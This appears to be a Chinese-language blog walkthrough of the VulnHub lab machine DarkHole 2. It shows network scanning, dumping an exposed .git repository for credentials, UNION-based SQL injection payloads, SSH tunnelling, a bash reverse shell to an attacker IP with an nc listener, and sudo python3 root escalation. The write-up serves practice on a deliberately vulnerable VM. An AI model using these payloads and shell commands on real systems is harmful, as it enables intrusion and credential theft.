*download:*
https://download.vulnhub.com/darkhole/darkhole_2.zip
环境配置
下载了zip文件解压后将ova文件导入到vmware中,把网络适配器调为**桥接模式(自动)
信息收集
首先查看靶机的mac地址
nmap -sP 172.16.10.0/24**#扫描网段
扫描到靶机的ip地址为172.16.10.136
nmap -sV -n -p- 172.16.10.136**#扫描靶机的端口服务信息
查看到有22端口和80端口是开放的
80端口
先去对80端口进行访问
首先对主页面进行查看和查找,发现右上角有一个Login
发现需要使用邮箱和密码进行登录,没有查看到多余的信息
dirb
使用dirb工具对网站进行扫描
查看认为有有效信息的页面
查看到一些文件和文件夹
git
nmap -A -T5 172.16.10.136 #进行全面的扫描
发现有进行提示
这个.git
好像是git仓库
那就想到把这一整个git仓库从网站中转储出来,需要用到工具
工具下载路径:
https://github.com/arthaud/git-dumper.git
python git_dumper.py http://172.16.10.136/.git web #将仓库进行转储
在使用工具时,会发现有个模块需要进行下载
pip3 install dulwich
然后就是使用**git来对这个仓库进行查询
因为我们先是要获得邮箱账号和密码,所以拿到文件后肯定是要先去对login.php文件进行查询
git log login.php #查看之前每次的commit记录列表,也就是查看每次登录的记录
但是这里的信息只是登录的记录,而不是我们需要的登录信息
git show 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 #使用commit的id号来查看commit提交的内容
获取到了邮箱账号和密码
使用获得的账号和密码进行登录
sql注入
登录成功后发现只有这一个页面,在信息栏中也没有什么有用信息
观察到了**url上的id变量
id=2
页面会发生变化
id=2'
加上单引号后会发生报错
id=2' or 1=1--+
又返回了id=1时的信息,说明2后的单引号发生了闭合,说明是一个**字符型的注入
id=2' or 1=2--+
页面发生变化,说明页面存在注入
id=2' order by 5--+ #对表的字段数进行猜测
因为信息栏中有四个输入框,先使用order by 5来查看是否为4个字段
页面没有进行报错,所以字段数是对于4个的
继续进行猜测
id=2' order by 7--+
页面进行了报错,那就证明字段数肯定是小于7的
id=2' order by 6--+
页面没有发生报错,所以字段数为6
id=2' union select 1,2,3,4,5,6--+ #查看那些字段的信息会显示到页面中
发现2,3,5,6这四个字段,所以可以使用这几个字段进行修改
id=2' union select 1,database(),version(),4,5,6--+
获取到数据库名和版本号
id=2' union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+
有两个表,一个是ssh,一个是users
因为没有再进行登录的页面了,就先对ssh表进行注入
id=2' union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='ssh'--+ #爆出字段名
有id,user,pass三个字段
id=2' union select 1,group_concat(id,0x7e,user,0x7e,pass),3,4,5,6 from ssh--+
拿到ssh表中的数据
1,jehad,fool
22端口
ssh [email protected] #进行ssh的连接,密码fool
靶机中继续进行查找
在/home目录中看到有三个用户的存在
在losy用户中查看第一个flag
提权
在/etc/crontab文件中查看到一个定时任务,并且是losy用户的权限
先去查看9999端口是否是开放的
是有开放的,那就对这个9999端口下手
在下手之前先去查看/opt/web目录下有什么文件
发现有一个index.php文件
分析代码后,就是在访问时使用**get方式,变量名是cmd,并且cmd变量可以用来执行命令
在jehad用户的根目录下的历史记录文件中查看到了ssh隧道的使用方法
ssh -L 127.0.0.1:9999:172.16.10.136:9999 [email protected]
大概分析了历史记录中的方法,似乎是有两个方法,一个是将木马文件进行上传,访问后拿到一个反弹shell,另一个方法是直接使用bash进行反弹shell
最开始我使用的上传木马文件的方法,但是在使用metasploit进行监听拿shell时拿到的shell,无法执行命令。那就果断的换了方法,使用bash -i >& /dev/tcp/172.16.9.182/3333 0>&1
进行反弹
但需要注意的是,这个语句是相当于在url上进行输入,需要有些符号和空格需要经过url编码后才能执行成功
在反弹前现在自己的攻击机中打开监听的端口
nc -lvvp 1122
拿到losy用户的权限
接着又查看了根目录的历史记录
cat .bash_history
发现了losy用户的密码
使用sudo su进行提权试试
是不可以的
再使用**sudo -l来查看
提示要使用-S参数
查看到python3是root权限
那提权就简单了
sudo python3 -c 'import os;os.system("/bin/bash")'
成功拿到root权限
补充
sql注入的地方还可以使用sqlmap来进行爆破
需要先获取cookie值,F12中的network可以获取到
如:
sqlmap -u http://192.168.181.161/dashboard.php?id=1 --cookie cookie值 --current-db
总结
涉及到点有
git repo提权,远程命令执行,sql注入,ssh隧道,sudo滥用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论